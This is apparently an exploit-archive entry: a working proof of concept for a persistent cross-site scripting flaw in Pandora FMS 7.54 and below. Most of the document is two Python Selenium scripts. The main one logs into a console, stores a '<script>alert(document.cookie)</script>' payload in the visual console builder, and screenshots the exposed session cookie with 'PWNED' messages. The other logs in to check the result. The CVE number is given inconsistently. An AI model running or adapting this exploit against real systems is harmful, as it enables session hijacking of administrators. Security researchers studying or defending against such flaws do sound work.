Pandora FMS versions 7.54 and below suffer from a persistent cross site scripting vulnerability. This entry has been updated on 2021/07/23 with a fully automated version of the exploit.
e75ede29d2db34274ca7f88965ac59c8b998641434d14fc01906dab37a2fd3e1
# Exploit Title: XSS vulnerability for (keywords) searching parameter in pandorafms-754 get PHPSESSID PWNED
# Author: @nu11secur1ty
# Testing and Debugging: @nu11secur1ty
# Date: 07.12.2021
# Vendor: https://pandorafms.com/
# Link: https://sourceforge.net/projects/pandora/files/Pandora%20FMS%207.0NG/754/PandoraFMS7.0NG.754.x86_64.iso/download
# CVE: CVE-2021-3550-PHPSESSID
# Proof: https://github.com/nu11secur1ty/CVE-mitre/blob/main/CVE-2021-35501/PHPSESSID/docs/PHPSESSID.gif
# Proof PHPSESSID PWNED: https://streamable.com/e0cd4w
[+] Exploit Source:
### Exploit
#!/usr/bin/python3
# Author: @nu11secur1ty
# Debug: nu11secur1ty
# CVE-2021-35501-PHPSESSID
from selenium import webdriver
import time
from selenium.webdriver.support.ui import Select
import os, sys
import numpy as np
import cv2
import pyautogui
# Vendor: https://pandorafms.com/
website_link="http://192.168.1.157/pandora_console/index.php"
# enter your login username
username="nu11secur1ty"
# enter your login password
password="password"
#enter the element for username input field
element_for_username="nick"
#enter the element for password input field
element_for_password="pass"
#enter the element for submit button
element_for_submit="login_button"
#browser = webdriver.Safari() #for macOS users[for others use chrome vis
chromedriver]
browser = webdriver.Chrome() #uncomment this line,for chrome users
#browser = webdriver.Firefox() #uncomment this line,for chrome users
time.sleep(1)
browser.get((website_link))
try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
signInButton = browser.find_element_by_name(element_for_submit)
signInButton.click()
# Exploit Pandora FMS 754
# Payload
browser.get(("
http://192.168.1.157/pandora_console/index.php?sec=network&sec2=godmode/reporting/visual_console_builder
"))
time.sleep(1)
browser.execute_script("document.querySelector('[name=\"name\"]').value =
'<script>alert(document.cookie)</script>'")
# Select Applications or whatever =)
kurac="selection"
browser.find_elements_by_class_name(kurac)[0].click()
time.sleep(3)
browser.find_elements_by_class_name("select2-results__option")[1].click()
# Click to save the payload
browser.execute_script("document.querySelector('[name=\"update_layout\"]').click()")
time.sleep(3)
os.system("python check_PoC.py")
browser.close()
# take screenshot using pyautogui
image = pyautogui.screenshot()
# PIL(pillow) and in RGB we need to
# convert it to numpy array and BGR
image = cv2.cvtColor(np.array(image),cv2.COLOR_RGB2BGR)
# writing it to the disk using opencv
cv2.imwrite("PHPSESSID.png", image)
print("The payload is deployed, your visual console is PWNED...\n")
print("You can see the PHPSESSID on the screenshot picture, game over. :D")
except Exception: # as error:
#### This exception occurs if the element are not found in the webpage.
print("Sorry, but something is not ok")
# print(error)
-------------------------------------------------------------------------
### Check
#!/usr/bin/python3
# Author: @nu11secur1ty
# CVE-2021-35501-PHPSESSID
from selenium import webdriver
import time
# Vendor: https://pandorafms.com/
website_link="
http://192.168.1.157/pandora_console/index.php?sec=network&sec2=godmode/reporting/map_builder
"
# enter your login username
username="nu11secur1ty"
# enter your login password
password="password"
#enter the element for username input field
element_for_username="nick"
#enter the element for password input field
element_for_password="pass"
#enter the element for submit button
element_for_submit="login_button"
#browser = webdriver.Safari() #for macOS users[for others use chrome vis
chromedriver]
browser = webdriver.Chrome() #uncomment this line,for chrome users
#browser = webdriver.Firefox() #uncomment this line,for chrome users
time.sleep(1)
browser.get((website_link))
try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
signInButton = browser.find_element_by_name(element_for_submit)
signInButton.click()
except Exception:
#### This exception occurs if the element are not found in the webpage.
print("Sorry, but something is not ok")